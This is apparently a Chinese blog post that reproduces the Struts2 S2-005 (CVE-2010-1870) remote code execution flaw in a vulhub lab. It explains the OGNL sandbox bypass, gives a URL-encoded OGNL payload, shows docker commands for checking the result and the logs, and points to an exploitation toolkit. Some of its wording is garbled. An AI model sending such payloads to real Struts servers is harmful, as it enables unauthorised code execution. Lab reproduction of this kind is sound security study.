Loading

CVE-2010-1870 S2-005复现

0X00-引言


江南真是个好地方,充满诗情画意,常见于文人墨客的书词中,每次见到都忍不住心神向往。想到烟雨就想到江南,江南风景美,人更美。

南朝四百八十寺,多少楼台烟雨中。

江南又梦烟雨,长河流入故里。

江南好,最好是红衣。

0X01-环境搭建


靶机:CentOS Linux 7

攻击机:windows server 2016 && Kail

环境:vulhub

项目地址:https://github.com/vulhub/vulhub

搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)

0X02-漏洞描述


参考吴翰清的《白帽子Web安全》一书

s2-0005漏洞的起源起源S2-003(版本:Struts 2.0.12),struts2执行http的每个参数名解析为OGNL语句(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防护安全问题,但通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全限制配置(禁止使用方法调用和类方法等)来文档,但是安全配置被再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的按钮把自己打开一个锁,但是把锁钥匙给插在了锁头上

XWork利用巴西GET参数的键和值OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

触发漏洞利用了这个点,再配合OGNL的沙盒-绕过方法,组成了S2003。官方对003的修复方法是增加了安全模式(沙),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过2对#的防御
  • S2-003后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

影响版本:2.0.0 - 2.1.8.1

0X03-漏洞复现


01-创建tmp/success

payload:

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)

image-20211130203723982

查看容器内tmp目录

docker ps #查看容器ID
docker exec -it ID /bin/bash #进入容器
ls /tmp  #查看容器内tmp目录
exit  #退出容器

image-20211130204043122

至于构建其他payload,小生做不到啊🙃

0X04-工具检测


工具地址:https://github.com/Liqunkit/LiqunKit_

此工具强得很,谁用谁知道,懂都懂

image-20211130204635381

image-20211130204731979

0X05-日志查看


docker ps  #查看容器ID
docker exec -it 910e341b0e88 /bin/bash #进入
cat localhost_access_log.2021-12-01.txt  #查看日志
exit #退出容器

image-20211130205310220

0X06-参考文章

大佬的百宝箱:https://github.com/k8gege/K8tools

S2-005 远程代码执行漏洞

posted @ 2021-11-30 21:01  美式加糖  阅读(878)  评论(0编辑  收藏  举报